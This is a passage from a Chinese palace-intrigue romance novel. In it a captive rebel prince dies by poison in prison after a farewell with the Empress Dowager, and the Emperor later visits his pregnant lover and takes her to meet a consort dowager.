姜昀的眼珠缓缓转动,视线落在苗菁腰间的绣春刀柄上,又慢慢上移,对上苗菁的目光。他嘴角扯动,露出一抹冷笑:“你来审我?”他的声音嘶哑干涩,却依然带着残存的倨傲,“你,还没有资格审判本王。让姜玄亲自来。” 苗菁脸上并无愠色,甚至连眉毛都没动一下。他负手而立,语气平淡道:“康王殿下,成王败寇。如今,您已不是亲王,而是谋逆钦犯,下官奉旨问话,您没有讲条件的资格。” “你!”姜昀猛地抬头,眼中瞬间爆出被羞辱的怒火,牙齿咬得咯咯作响,死死瞪视着苗菁。昏黄灯光下,他眼白布满血丝,形如困兽。 良久,那怒瞪的眼中,激烈的火焰渐渐熄灭,姜昀低下头,喉结滚动了几下,才低声说道: “……我要见太后。” 苗菁眼神微动。 姜昀抬起头,目光幽幽:“见了太后,我自会……交代。” 苗菁深深看了他一眼,随即转身,一言不发地离开了牢房。沉重的牢门再次关闭,锁链声重新响起,隔绝了内外。 姜昀的要求很快传到了紫宸殿。姜玄正在批阅奏章,闻听此请,只淡淡道:“准。” 长乐宫内,灯火通明,却驱不散太后心头的阴霾与寒意。她独自坐在窗下的软榻上,手中拿着一卷佛经,目光却并未落在字句上,只是怔怔地望着窗外沉沉的夜色。种种思绪如同缠乱的丝线,将她紧紧裹住,勒得胸口发闷。 沁芳轻手轻脚地进来,低声道:“娘娘,北镇抚司那边传话……康王想见您一面。” 太后捏着佛经的手指微微一紧,她半晌没有言语,眸底是一片沉沉的倦怠,声音低得几乎听不清:“这时候还见我做甚……” 沁芳看着主子苍白疲惫的侧脸,心中暗叹,低声应道:“是,婢子这就去回绝了。” 她转身欲走,却听身后传来太后低哑的声音:“等等。” 太后闭了闭眼,再睁开时,那丝抗拒被一种更深的、难以言喻的情绪覆盖。她缓缓放下佛经,站起身,走到妆台前,看着铜镜中的容颜,低声道:“罢了,还是……去见见吧。” 临行前,她对沁芳吩咐:“准备些吃食,记得要有炙鹿肉,他爱吃这个,再温一壶梨花白。” 第187章 可人心啊 昭狱那特有的阴冷气息,在太后踏入的瞬间便扑面而来,让她忍不住打了个寒噤。 沁芳小心搀扶着她,穿过一道道沉重的铁门,终于来到了那间特别的囚室前。 狱卒打开门锁,太后和沁芳走了进去。 姜昀依旧靠墙坐着,听到声响,缓缓抬头。四目相对,两人俱是沉默。往昔为数不多相处的浮光掠影,与如今铁栅相隔、生死两途的冰冷现实,在这一眼中碰撞,激起无尽的空洞与悲凉。 沁芳默默上前,将食盒放在桌上,取出还带着温热的几样小菜,那碟炙鹿肉放在最中间,又斟满一杯梨花白。酒香混合着牢狱的腐朽气味,形成一种怪异而心酸的氛围。做完这一切,她无声地退了出去。 姜昀的目光扫过桌上的酒菜,最终落在太后身上。他扯了扯嘴角,露出一丝比哭还难看的苦笑,抬手指了指桌旁另一张椅子: “牢房简陋……委屈你,陪我坐一会儿。” 太后依言,缓缓坐下。她看着姜昀失去光彩的眼睛,胸口某处,忽然传来一阵尖锐的刺痛,仿佛有一只无形的手狠狠攥住了她的心脏。眼眶不受控制地发热、酸涩,她猛地垂下眼帘,避开他的视线,用力眨了眨眼睛。 姜昀的目光在那碟色泽金黄的炙鹿肉上停留了片刻,又掠过那杯清澈的梨花白。他低低地发出一声轻笑,似有慰藉。 “原来……你知道我爱吃什么。”他抬起眼,看向垂眸不语的太后,声音嘶哑,“谢谢。” 太后深吸了一口气,压下喉间的哽塞,低声道:“你……又何苦来这一遭?安安分分,做个富贵王爷,锦衣玉食,荣华一世,难道不好吗?” “富贵王爷?”姜昀重复着这四个字,又饮尽一杯酒,辛辣与微甜交织着滑入喉管,“做个富贵王爷又如何?困在封地,看着京城风云变幻,小心翼翼地揣摩圣意,生怕行差踏错……然后呢?等着老死,等着子孙继续这般战战兢兢地活着?”他放下酒杯,“人这一辈子,总得为自己,真真正正地活一回,争一回。” 太后原本想问,他将赵茂才的事情提前在她面前抛出来,是不是在试探她或是利用他,可看着眼前这个身陷囹圄眼神依旧执拗的男人,她忽然不想问了。在生死面前,那些试探、猜疑、旧日的隐秘,似乎都变得微不足道了。 她只是觉得喉咙发紧,叹息道:“你……后悔吗?” 姜昀几乎没有犹豫,缓缓摇了摇头。 “后悔?不。”他的语气平静,甚至有些释然,“我只后悔,自己做得还不够周密,输给了姜玄……”他停顿了一下,望向虚空,仿佛穿过牢房的石壁,看到了太庙上空那不可捉摸的天穹,“又或者,是真的……天命不在我。” 他提起酒壶,这次,却是微微倾身,为太后面前那只空杯斟满了梨花白。清澈的酒液注入白瓷杯中,他抬起眼,目光灼灼,专注地看她,声音哑得厉害: “绾绾,陪我喝一杯,好吗?” 他原本有很多话想问。他想问,你促成这次五王进京的目的是什么,你明知道我的野心,你是不是早就知道我手里那份遗诏是真的,是不是你把相关的官员贬官的贬官,杀死的杀死。可此刻,看着太后眼中那无法掩饰的痛与水光,他突然觉得,那些答案都不重要了。 真假对错,在冰冷的现实和即将到来的结局面前,都已失去了意义。 太后怔怔地看着他,过了许久,她慢慢地伸出手,端起了那杯酒。 两只酒杯,在空中轻轻相碰,发出一声极细微、却仿佛敲在两人心上的脆响。 姜昀将杯中酒一饮而尽,伸出舌尖,舔了舔唇边残留的酒渍。这个略显粗野随性的动作,却让他脸上焕发出一种奇异的光彩,仿佛卸下了所有重担,又变回了那个有些肆意张扬的康王。他挑了挑眉,对着太后露出了一个带着几分顽劣、几分怀念的笑容: “说起来,这几年……我最快活的一日,”他眼神带着追忆的柔和,“是前些日子,在行宫的花园里的那一天。” 海棠花后,那个突如其来的、带着绝望与掠夺意味的亲吻,以及之后更久的他执拗的相拥……此刻伴随着他嘶哑的话语,那些画面无比清晰地汹涌而出,瞬间击溃了太后所有的防线。 泪水再也无法抑制,迅速漫过眼眶,顺着她的面颊滚落下来,一滴,两滴…… 姜昀抬起手,指尖微颤,下意识地想要伸过去,拭去她脸上的泪。他记得她的肌肤触感,许多年前,在某个宫宴的角落,趁人不备,他曾用指尖轻轻擦过她脸颊沾染的一点花粉,那时她嗔怒地瞪他,他得意地笑。 可如今,他的手指在半空中僵住了,指尖离她的面颊仅余寸许,却慢慢缩了回来,紧握成拳。 “别哭……我不想看到你哭……尤其,不要为我哭。”他努力想扯出一个安抚的笑容,却比哭更难看。 在他的记忆里,这是第一次看到她落泪。 先帝晚年,沉疴缠身,性情变得越发阴晴不定,乖张暴戾。有好几次,在众皇子、甚至外命妇面前,先帝毫无缘由地斥责她,言辞刻薄,令她堂堂皇后颜面扫地。 那时,她只是挺直脊背,面色苍白地承受着,眼神平静无波,连眼眶都未曾红过一下。先帝大行,举国缟素,她从头至尾,冷静自持,哀而不伤,仪态无可指摘,从未在人前露出过半分软弱。 可此刻,为了他,她的眼泪却如此汹涌,如此真实。 姜昀自己的喉头也哽住了,一股酸热之气直冲鼻腔眼眶。他用力眨了眨眼,将那份湿意逼退,视线却更加模糊。他不再看她,目光茫然地投向牢房顶部那潮湿斑驳的石板,仿佛透过它看向了虚无的来世,喃喃低语,声音轻得如同梦呓: “此生……你我终究无缘。只盼……若有来生……” 太后听着他这近乎诀别的话语,看着他强忍悲恸的侧脸,心头竟生出一丝悔意。 她想起几年前,先帝病重,私下里确实曾流露过对姜昀的期许,甚至那份加盖了私印的诏她也是知情的。她也一直知道,他眼中看着她时,那炽热与不甘背后,潜藏着怎样的野心与渴望。 那时候,她是害怕的,她怕姜昀即位。 姜昀身上那股偏执的、不顾一切的疯劲,像极了姜家皇族血脉里偶尔会爆发的那种可怕的癫狂。史书里,姜家出过不止一个这样的疯子皇帝。她怕极了,怕自己苦心经营、小心翼翼维持的一切,怕自己这个人,最终会被那样的疯狂彻底吞噬,拉着她一起下地狱。 所以,她做出了选择。她利用了宋家的权势,牢牢把控昏迷的先帝,把看上去更沉稳、更“正常”、也似乎更好把握的姜玄推上去。她以为她可以掌控人心。 可人心啊…… 第188章 给你了 太后的泪水不受控制地流得更凶,这世上最不可控的,就是人心。 她以为可以控制的姜玄,早已在无声处成长为了一个心思深沉、手段果决的帝王,甚至反过来利用了她的谋划,给了她沉重一击。 而她曾经惧怕、并亲手推开、甚至某种程度上促使其走向绝路的姜昀,此刻坐在铁窗之后,没有怨恨的质问,没有疯狂的诅咒,只有一句“只盼来生”,和为她不要哭泣的请求。 那壶梨花白,在漫长的、近乎凝固的沉默中,被两人一口一口,无声地饮尽。 酒入愁肠,化作更深的苦涩与虚幻的暖意,麻痹着尖锐的现实,也让某些被压抑的情绪,如同水底的暗流,悄然涌动。 酒壶见底时,姜昀的手探入怀中,摸索了片刻,缓缓掏出一物。 那是一枚簪子。并非金玉珠宝,而是木质的,看得出是用上好的紫檀木精心雕琢而成。簪身打磨得光滑温润,簪头被雕成了一朵半开的海棠花,花瓣层叠,形态柔美,虽不如宫廷巧匠的作品繁复华丽,却自有一种生动朴拙的意趣。 姜昀的目光落在这枚木簪上,指尖轻轻摩挲着花瓣的轮廓,眼中流露出罕见的温柔与一丝赧然。他低声道: “总想……送你一枝花。” 他的声音很轻,像是在诉说一个珍藏了许久、却始终没有机会送出的梦。 “又总是遇不到合适的时候。”他顿了顿,将簪子递向她,“这是我闲来无事,自己琢磨着刻的。手艺粗陋,比不得宫里造办处的精巧……你别嫌弃。留着,就当……做个念想吧。” 太后怔怔地看着那枚木簪,海棠花的形状刺痛了她的眼睛。她慢慢地伸出手,指尖冰凉,微微颤抖着,去接那枚还带着他体温的簪子。 就在她的手指即将触碰到簪身的刹那,姜昀忽然借着递簪的动作,极快、极近地探身靠近。温热的、带着酒气的呼吸拂过她的耳廓,一个压得极低、却字字清晰的声音,如同惊雷般钻进她的耳中: “我的观星台……留给你。” 太后浑身剧震,猛地抬眼看他。 姜昀的嘴唇几乎贴着她的耳垂,用只有两人能听见的语速,飞快而清晰地继续说道:“你放心,主力还在,未曾伤筋动骨。你让人……去梅花巷,找‘花大夫’,把这簪子给他看,他就明白了。” 话音落下,他已稍稍退开,脸上重新浮起带着点顽劣的笑意,仿佛刚才那句足以掀起惊涛骇浪的低语,只是一个无关紧要的玩笑。 然而,太后的震惊还未散去,便惊恐地看到,姜昀脸上的血色,正以一种肉眼可见的速度迅速褪去,那刚刚因饮酒而泛起的些许红润,转眼被一种死寂的灰白取代。他眉头几不可察地蹙了一下,仿佛在忍受某种突如其来的剧烈痛苦。 “你……”太后喉头一紧,不详的预感如同冰水浇头。 姜昀却对她摇了摇头,笑容不变,只是那笑容此刻看来,竟有几分惨淡。他张嘴,猛地呛咳了一声,随即,一口浓黑的血,毫无征兆地从他口中喷溅而出,溅湿了他自己的前襟。 那血,黑得触目惊心。 “曜之!”太后失声惊叫,猛地站起身,打翻了桌上的酒杯。她下意识地想要扶住他,却见他摆了摆手,示意她不必靠近。 “不……必了。”他喘息着,每说一个字都显得费力,嘴角不断有新的黑血涌出,他却浑不在意,只是看着太后,眼神开始涣散,却依然执拗地维持着最后一丝清明,“我给自己……下了毒……” “不——!来人!快来人!传太医!”太后终于从巨大的惊骇中回过神来,嘶声朝着牢门外喊道。 牢门被猛地撞开,沁芳、狱卒、还有闻讯赶来的苗菁等人纷涌而入,脚步声、惊呼声、铁链碰撞声响成一片。苗菁看到姜昀的状况,脸色骤变,立刻喝道:“快去请太医!封锁这里!” 小小的牢房瞬间被混乱填满,人影憧憧,灯火摇曳。 唯有太后,依旧呆呆地站在原地。她手中紧紧攥着那枚还带着他最后体温的木簪,耳朵里是持续不断的轰鸣,将所有的嘈杂人声都隔绝在外。她什么也听不见,什么也看不清,眼前只有姜昀吐血时那决绝而惨淡的笑容,耳边反复回响着他最后那句低语——“我的观星台……留给你。” 血的气息、酒的气息、绝望的气息,弥漫在狭小的空间里,将她紧紧包裹。她站在那里,看着人们慌乱地围向那个迅速失去生命迹象的男人,只觉得整个世界都在眼前旋转、崩塌。 太医赶来时,姜昀已经气绝身亡。 苗菁跪在了长宜宫冰凉的金砖地上,沉声请罪:“臣,御下不严,失察渎职,致使逆犯姜昀于狱中自戕。罪该万死,请陛下降罪。” 姜玄坐在御案后,蹙眉沉思了一会才问道:“朕只问你,以你北镇抚司之森严,姜昀是如何做到服毒自杀的?” 苗菁垂首回禀:“逆犯入诏狱时,确已按例搜身。其怀中木簪,当时便已检出。逆犯称此乃太后之物,须当面归还。狱卒查验,那簪子为普通紫檀木所制,并无夹层机括,亦无淬毒痕迹,遂暂留其处。至于毒药……经查,乃诏狱一名狱卒,于送饭时递入。该狱卒亦已服毒自尽,是臣失察,请陛下降罪。” 姜玄低语,眼中寒光微现,“观星台的手,伸得比朕想的还要长,竟能在诏狱中早早布下暗着。朕总觉得,观星台你查得还不够仔细,暂且饶你,去仔细梳理一番,务必确保万无一失。” “是!。”苗菁立刻道。 姜昀死后,明面上的势力——宣云卫残部、京畿大营中被渗透的军官、部分涉事文官,乃至浮出水面的观星台部分据点,皆在姜玄雷厉风行的手段下被迅速清算、拔除。诏狱的空牢房一度人满为患,菜市口的血迹洗刷了又染上,京城上空的肃杀之气久久不散。 随着姜昀的死亡,许多更深层的秘密也一同被带入了坟墓。 第189章 孩子随我 对于姜玄来说,康王谋逆这件事算是稍稍告一段落。连日来的紧绷、算计、杀戮与死亡带来的阴郁,似乎随着康王的死消散了一些。 姜玄靠在椅背上,闭上眼,按了按眉心。此刻,他忽然不想再去思量这些烦心事,只想抱住薛嘉言,闻一闻她身上的气息。 “张鸿宝。”他睁开眼,唤道。 “老奴在。” “去安排一下,朕要出宫,去枫林苑。”姜玄顿了顿,补充道,“先见见她,再带她去见见太妃。” 张鸿宝心领神会,躬身道:“老奴遵旨,这就去安排。” 此时已是四月底,暮春时节最是撩人。宫墙外的垂柳早已褪去鹅黄,换上浓得化不开的翠绿,丝绦般在暖风里轻摇。 原本约定了巳时过半在枫林苑附近的私宅相会,可姜玄在宫里竟有些坐不住了,批了两本奏章,总觉得烦躁,索性搁了笔,吩咐提前出发。 他换了一身天青色常服,只用一枚羊脂玉簪束发,身上沉郁威严的气质,被这明亮的春色和轻便的装束冲淡了不少。许是连日紧绷的神经终于得以松懈,又或许是想到即将见到那人,他眉宇间的积云散开,唇角不自觉地带上一丝轻松的笑意,连步伐都比平日轻快许多,张鸿宝跟在后面,几乎要小跑才能跟上。 于是,比约定的时辰早了半个多时辰,皇帝的车驾便已悄无声息地停在了私宅的后门。 另一边,戚家,薛嘉言由司雨扶着,从春和院里走出来。她已换好了外出的衣裳,因在守着名义上的孝,衣色素净至极。一身雨过天青色的窄袖褙子,配着月白色的长裙,裙摆无绣,只在衣襟和袖口处用同色丝线滚了极细的边。如此清淡的装束,反而越发衬得她肤光胜雪,眉眼如画。 薛嘉言刚走到通往前院的穿堂,迎面便撞见了栾氏和戚倩蓉母女俩。 “少亭家的,”栾氏停下脚步,目光先是在薛嘉言脸上顿了顿,随即落到她的肚子上,扯出一个干巴巴的笑容,“你这是……要出门去?” 薛嘉言脚步未停,只淡淡应了一声:“嗯,去铺子上看看。” 栾氏的眉头立刻不易察觉地蹙了一下,语气里带上了一丝不赞同,却又努力放得和缓:“你这身子都这么重了,眼看就要生了,怎么好总往外跑?铺子上的事,让掌柜的来家里回话不就是了?你如今可不是一个人,得顾惜着身子,也为戚家的根苗想想。” 薛嘉言听着这话,一股不耐烦直冲上来,没有搭理栾氏,扶着司雨的手,绕过她们,朝着侧门停放马车的地方走去。 戚倩蓉咬着唇,眼睛盯着薛嘉言的背影,待薛嘉言走远了,她立刻忿忿地一跺脚,拉着栾氏的胳膊,恨恨道:“娘!你看她!现在眼里可还有咱们?自从爹和哥哥走了,她对咱们就是这副冷冰冰的嘴脸!这戚家,倒成了她一个人的了!” 栾氏被她吓了一跳,慌忙回头看了看四周,见近处无人,才用力掐了戚倩蓉的手臂一把,压低声音斥道:“我的小祖宗!你小声些!” 她将女儿拉到穿堂的柱子后面,压低声音道:“你也知道你哥哥没了!咱们娘儿俩现在就是靠着她养活!这府里上上下下,吃的用的,哪一样不是从她手里支应?咱们现在都得看她的脸色过日子,你可千万别再去招惹她,万一真惹恼了她,她心一横,把咱们赶出去,或是断了供给,咱们可怎么活?难道你想回老家去?” 戚倩蓉绞着手中的帕子,也压低声音道:“谁要看她的脸色过一辈子!娘,你等着,等我嫁给了魏世子,就把你接出去,再不用受这份窝囊气!” 栾氏闻言,却没有丝毫喜色,反而更加忧虑地看着女儿。魏世子?如今戚家败落至此,只剩寡母孤女,人家那样的人家,怎么还可能看得上倩蓉? 为今之计,只有寄希望与薛嘉言,她能看在戚少亭的份上,等出了孝,给戚倩蓉说门好亲事。 春光正好,芍药开得极是妖艳,姜玄隔窗看着觉得甚美,叫人剪了两支拿来插瓶,心里想着薛嘉言看到了肯定喜欢。 庭院里传来熟悉的脚步声,姜玄几乎是立刻站了起来,眼底的笑意如同春水破冰,瞬间漾开,快步迎了出去。 簇拥着薛嘉言过来的司雨等人见状,立刻屏息敛目,悄无声息地退到远处廊下。 “言言。”姜玄的声音低沉悦耳,带着显而易见的欢欣。他伸出手,极其自然地将迎面走来的女子拥入怀中,手臂轻柔环住她因身孕而更显圆润的腰身,下颌在她散发着淡淡馨香的发顶轻轻蹭了蹭,发出一声满足的喟叹。 薛嘉言脸颊贴在他坚实的胸膛上,听着那沉稳有力的心跳,连日来的担忧与隐忍的思念,似乎找到了安放之处。但她很快想起正事,轻轻挣了挣。 姜玄顺势松开些许,却依旧握着她的手,将她引到屋里坐下,细细打量。他的目光扫过她身上那过于素净单薄的衣裙时,眉头立刻蹙了起来:“怎么穿这么少?虽是暮春,早晚风凉,你身子又重,该当心些。” 薛嘉言见他神色关切,心中微暖,解释道:“不怕,我素来怕热,穿这些正觉得舒爽。” 姜玄觉得她手上的温度确实温热适中,这才略略放心,但仍旧道:“出门在外还是多备件披风稳妥。” 薛嘉言嗯了一声,迫不及待问道:“栖真,前几日康王作乱,到底是怎么回事?我听到消息时,只说什么太庙前动了刀兵,城门都破了,吓得魂都快没了!偏生你派来的人只说无事,让我安心待在府里,我如何能安心?”她手指不自觉地攥紧了姜玄的衣袖。 姜玄怕这件事会吓到她,提前派人守住了戚家周围,封锁了消息,破开的城门也离戚家所在的巷道甚远,她听到风声时,确已尘埃落定。 “莫慌,一切都在我掌控之中。你看,我这不是好好的?”他故意展开双臂让她看,神情轻松,“倒是你,受了惊吓没有?这几日身子可有任何不适?” 薛嘉言听他这样说,紧绷的心弦才松了几分,摇摇头:“我没事。” 姜玄的目光落在她腹部隆起的弧线上,嘴角扬起一抹笑,带着点得意道:“看来这孩子随我,是个沉静懂事的性子,知道心疼他娘亲。” 第190章 别想那么多 “你——” 薛嘉言猛地抬头,瞪圆了眼睛,她其实早已怀疑过姜玄知道她腹中孩子是谁的,眼下果然得到了证实。 姜玄看着她的模样,伸出手指,亲昵地刮了刮她的鼻梁,笑道:“傻不傻啊,你还真以为……能瞒得过我啊?” 薛嘉言在他了然的目光下无所遁形,只能艰难地嗫嚅:“你是什么时候……怎么知道的?” 姜玄慢条斯理道:“我心里本就有数。我心里本来就有数,戚少亭被关起来后,我问了他,他诅咒发誓说绝对没有碰过你。还跟我说了你的计划……” 他抬眼,似笑非笑地看着她瞬间僵硬的表情,“说什么,你想效仿前朝故事,做大兖朝的‘虢国夫人’?” “轰”的一声,薛嘉言只觉得全身的血都冲到了头顶,羞愤交加,她暗骂戚少亭这个软骨头!怕是刑具还没亮出来,他就已经把计划全盘托出,连她私下里的戏言都捅到了御前! 姜玄瞧着她面红耳赤的模样,觉得格外生动有趣。他伸出手,轻轻捏了捏她鼓起的脸颊,语气里带着戏谑和纵容: “傻姑娘,想做‘虢国夫人’,你该来跟我商量才是。跟戚少亭那个怂包说有什么用?” 薛嘉言被他这话臊得更是无地自容,用力挥开他捏着自己脸颊的手,别过脸去,只留给他一个气鼓鼓的侧影,声音闷闷的,“别说了!怪难为情的!” 她这副又羞又恼的模样,落在姜玄眼里,可爱得紧。他忍不住朗声大笑起来,笑罢,他飞快地凑过去,在她唇边偷了一个吻。 “跟我有什么难为情的?”他贴着她的耳廓,气息灼热,声音低哑而带着笑,“你什么样我没见过?嗯?我还就……喜欢你这样跟我生气。” 薛嘉言被他的亲昵弄得耳根发烫,心里那股羞恼未散,却又不受控制地渗进一丝甜意,百般滋味交杂,化作一个娇嗔的白眼,狠狠瞪了他一眼。那一眼波光流转,姜玄更是欣喜。 然而,这短暂的旖旎很快被更现实的忧虑驱散。薛嘉言看着他含着笑意的俊朗面容,忽然想到那悬而未决的未来,心中不免恐慌起来。 她微微退开些许,拉开一点距离,好让自己能更清晰地看清他的眼睛。那双总是沉静深邃的眸子里,此刻映着她的身影,温柔得几乎要让人沉溺。可她必须问清楚。 “栖真,”她唤他的字,“你……你会跟我抢这个孩子吗?” 姜玄脸上的笑容顿住,眸色变得复杂而深沉,没有立刻回答。 薛嘉言的心随着他的沉默一点点下沉。她抿了抿唇,像是要给自己增添一点勇气,又像是要说服他,继续低声说道: “你将来……会有三宫六院,会有数不清的皇子公主。这个孩子对你来说,或许只是其中之一。可是……可是我不一样。”她的眼眶开始不受控制地发热,“我需要一个男孩来支撑门户,大夫私下里给我摸过脉,说这一胎,十有八九,是个男孩。” 她抬起眼,泪水已经在眼眶里打转,只是那样直直地、带着哀求地望着他,喃喃道:“栖真,不要抢走他……好不好?” 姜玄静静地听着,看着她强忍泪水的模样,他脸上的笑意散了,变得郑重起来。 他伸出手,抚上她的小腹,隔着单薄的衣料,他能感受到那里孕育着的、属于他们两人共同的生命。 “言言,他是你的孩子,也是我的孩子,还是我第一个孩子。你先别想这么多,也让我好好想一想,眼下最重要的是把他平安生下来,好吗?” 薛嘉言无奈,只得点头,心中期盼着姜玄能想到一个妥善的处理方法。 姜玄不想薛嘉言一直沉溺在这种情绪里,便道:“好了,不说这个了,今日我带你去见一位长辈。” 薛嘉言虽心中难安,却也只能强打精神,问道:“是哪位长辈?” 她知道姜玄六亲缘浅,能算得上他长辈的应该都是宗室或者师长,这些她应该都不方便见的。 姜玄道:“是甄太妃。从前在冷宫时,她曾庇护于我,待我极好。” “甄太妃?”薛嘉言这回是真的惊住了,杏眼圆睁,“她不是早在先帝驾崩时,就……就殉……”那个“葬”字在她舌尖打了个转,终究没说出口。 姜玄神色不变,低声道:“甄太妃没有死。当年之事,另有隐情。我最近才找到她,安置在附近的枫林苑清修。” 薛嘉言知道这些宫闱秘辛,非是她该深究的。她想到自身处境,低头看了看掩在宽大衣物下依旧显形的肚子,脸上浮起一层窘迫晕,喃喃道:“这……我这副样子,去见她老人家恐怕不合适吧?” 她一个身份尴尬、怀着“遗腹子”的寡妇,如何去拜见姜玄的长辈呢。 “有何不合适?你是我珍视之人,又怀着的我的骨肉,带去给真心待我的长辈看看,再合适不过。你放心,甄太妃非拘泥世俗之人,她会待你好的。” 姜玄见她情绪安定下来,但一双杏眼仍泛着红,便起身拧了一条冷帕子,又走回来,动作轻柔地覆在她微肿的眼皮上。 “敷一敷,眼睛会舒服些。” 敷了片刻,姜玄取下帕子,仔细端详,见她眼角的红都散了,眸子清亮,这才满意地牵起她的手:“走吧,带你去见太妃。” 甄太妃已得了消息,候在正屋前的廊下。她穿着一身极为素淡的青色道袍式样的常服,头发只用一根乌木簪子松松绾起,脸上脂粉未施,眉眼疏朗,气质高华,站在那里,便像一株经了霜雪却依旧挺立的青竹。 见到姜玄牵着薛嘉言的手穿过庭院走来,甄太妃那双总是平静无波的眼眸里,罕见地漾开了一丝笑意。 她的目光落在薛嘉言身上,两人对视间,她微微笑着,面色柔和,薛嘉言稍稍松了一口气。 姜玄薛嘉言稍稍往前引了引,介绍道:“太妃,这是言言。” 薛嘉言连忙敛衽行礼,姿态恭谨:“臣妇嘉言,拜见太妃娘娘,娘娘万福金安。” “快起来,不必多礼。”甄太妃亲自虚扶了一把,顺势便握住了薛嘉言的手,拉着她细细端详。从秀丽的眉眼,到挺直的鼻梁,再到因身孕而略显丰润却依旧精致的下巴,目光最后落在她隆起的小腹上,停留了片刻。 “好孩子,生得真是俊俏,看着就是个有福气的。”甄太妃眼中笑意更深,语气里带着长辈对晚辈的喜爱,她拍了拍薛嘉言的手背,转头吩咐身边人:“去把我收着的那对羊脂玉平安扣拿来。” 见面礼很快送来,玉扣温润无瑕,一看就不是凡品,薛嘉言推辞不过,在姜玄含笑的注视下,只得红着脸收下,再次道谢。 第191章 守住本心 午膳就设在太妃屋舍旁的小花厅里,摆了满桌精致菜品,因甄太妃信的不是全真道教,与荤食一道上并不严格约束,是以桌面上有荤有素。 席间,姜玄自然而然地为两人布菜,他知道薛嘉言爱吃什么,也记得甄太妃的喜好,将嫩笋与清炖的乳鸽腿分别夹到她们碗中。 甄太妃静静看着,唇角一直噙着淡淡的笑意,并不说话,眼神里满是欣慰。 用罢午膳,三人移至后园散步消食。园子不大,却曲径通幽,引了活水做成小小池塘,几尾锦鲤悠闲游弋,边上还搭着竹制的凉亭,处处清雅。 这时张鸿宝过来,似乎有什么事要禀告,姜玄跟甄太妃说了一声,暂且离开了花园。 甄太妃带着薛嘉言坐在凉亭里歇脚,侧头对薛嘉言温声道:“孩子,栖真他在那样的地方长大,从前心思太重,人总是冷的,像块冰。可今日不同……” 甄太妃轻轻握住薛嘉言的手,欣慰道:“今日的他,才有了几分‘人气’,会笑,会照顾人,眼神里也有了温度。怪不得他这么喜欢你。你很好,真的很好。你能让他这样,便是你的本事,也是你们的缘分。” 薛嘉言听了,心中涌起暖流和欢喜,冲散了之前的忐忑和隐约的忧愁。她想,或许自己可以尝试再信任他一些。 两人在枫林苑消磨了一下午,陪着甄太妃说了话,待夕阳西下,才告辞离开。 马车驶离枫林苑,沿着山道缓缓下行,随着车身的轻微摇晃,薛嘉言倚在姜玄身侧,忍不住仰起脸,看向姜玄,轻声问道:“栖真,甄太妃她和我想象中的宫里的娘娘们,很不一样。” 姜玄调整了一下姿势,让薛嘉言靠得更舒服些,缓缓开口:“甄太妃出身商户……” “商户?”薛嘉言微微讶异。 “嗯。当年的甄家,是陇西首屈一指的巨富,生意做得极大。先帝在位中期曾有一次微服私访,无意间瞧见了随家人出游的甄家姑娘。” 他顿了顿,似乎在想如何措辞:“先帝一见便惊为天人,执意要纳她入宫。甄氏女不愿,但皇命难违,甄家更不敢抗旨。最终,她还是被送进了宫,封了才人。” “入宫之后呢?”薛嘉言追问。 “入宫之后,她便称病,以‘体弱、需静养’为由,几乎从不与其他妃嫔往来,更不去侍寝。一开始,父皇怜她新鲜,也觉她或许真是身子娇弱,便容忍了,赏赐如流水般送进她的宫室,却连她面都难见几次。后来,父皇耐心耗尽,疑心她是故意拿乔,便指派了数名心腹太医前去‘会诊’,想揭穿她的把戏。” “结果呢?” “结果?”姜玄轻笑一声,“几位太医诊来诊去,竟真的诊出她患有‘心疾’,言说需绝对静养,不宜侍君,更不宜承宠,否则恐有性命之忧。脉案、药方,一应俱全,毫无破绽。” 薛嘉言听得入神,忍不住道:“她……真是有病?还是……” “先帝当时便气地摔了杯子。他岂会看不出这其中必有蹊跷?什么心疾,多半是她不知用了什么法子,硬生生造出了这么个‘病’来。可太医众口一词,脉案铁证如山,先帝盛怒之下,觉得颜面受损,找了个借口将她迁入了北苑冷宫。想她一个锦衣玉食惯了的富家女,在冷宫缺衣少食、受人冷眼,熬不了多久,自会服软求饶。” 姜玄的语气带上了感慨:“可先帝错了。甄氏入了冷宫,竟安之若素。粗茶淡饭、旧衣敝履,她一样坦然受之。自己动手整理荒芜的庭院,种些花草,读书作画,仿佛只是换了个更清净的住处。” 薛嘉言脑海中浮现出那个在冰冷宫墙内,依然活得从容自若、内心强大的女子形象。 “后来,先帝有了新的宠妃,便将这桩‘不顺意’的事渐渐淡忘了。甄氏就这样,在几乎被人遗忘的冷宫角落里,度过了许多年。直到先帝大行。按旧例,无子妃嫔需殉葬。幸而甄家人还一直记挂着她,想法子让她假死逃生,一直隐姓埋名在道观里生活。” 薛嘉言听姜玄说完这段尘封的宫廷秘辛,心中百感交集,沉默了许久,才轻轻叹息一声:“太妃……真是一位奇女子。在那样的境地,面对皇权,竟能始终如一,守住自己的本心,实在令人钦佩。” 姜玄闻言,低头看她,淡淡道:“她能守住本心,固然是因她心志坚韧,非同一般。但说到底,也是因为……先帝他,本就不值得。” 她听到这话,忽然就猜到了姜玄的深意,她凑上前,轻轻啄吻了一下他微凉的唇瓣。一触即分,却带着亲昵与娇憨。 她退开些许,眼中笑意盈盈,像盛满了星子,声音软糯,带着几分狡黠和坦率的爱意:“那是。你看我就没有太妃那样的骨气和本事,守住本心。” 她故意拖长了调子,手指点着姜玄的胸口,“我呀,对着你早就丢盔弃甲,溃不成军了……” 姜玄喉结滚动,眸色骤然转深,低下头,深深地吻了上去。 第192章 你别慌 接下来的一个多月,时光在甜蜜与焦灼的期盼中悄然流逝。一旦从繁重的政务中抽身,姜玄便常常换了常服,轻车简从,悄然出宫。 张鸿宝置下的几处私宅,成了两人短暂相聚的世外桃源。 姜玄会仔细询问她的身体,陪她用膳,听她说些府中琐事或外面的见闻,偶尔也会将头贴在她腹上,感受那小生命的胎动,眉梢眼角俱是初为人父的温柔与新奇。 转眼到了六月初,盛夏的气息逐渐浓重。薛嘉言的肚子已经高高隆起,行动日益不便,到了随时可能生产的时候。 她虽非初次生产,有过经验,但生育如同在鬼门关前走一遭,每一次都是生死考验,心中难免惴惴。姜玄看在眼里,早早便命张鸿宝安排了稳婆和嬷嬷到她身边,随时待命。 六月初八这天夜里,白日里的闷热被一场淅淅沥沥的小雨驱散了些许,空气中弥漫着泥土和草木的湿润气息。 薛嘉言用过晚饭,正由拾英扶着在室内慢慢走动消食,忽觉下身一阵温热的液体不受控制地涌出,瞬间打湿了裙裾。 她心下一凛,脚步顿住。 “拾英……”她声音还算平稳,却带着一丝紧绷。 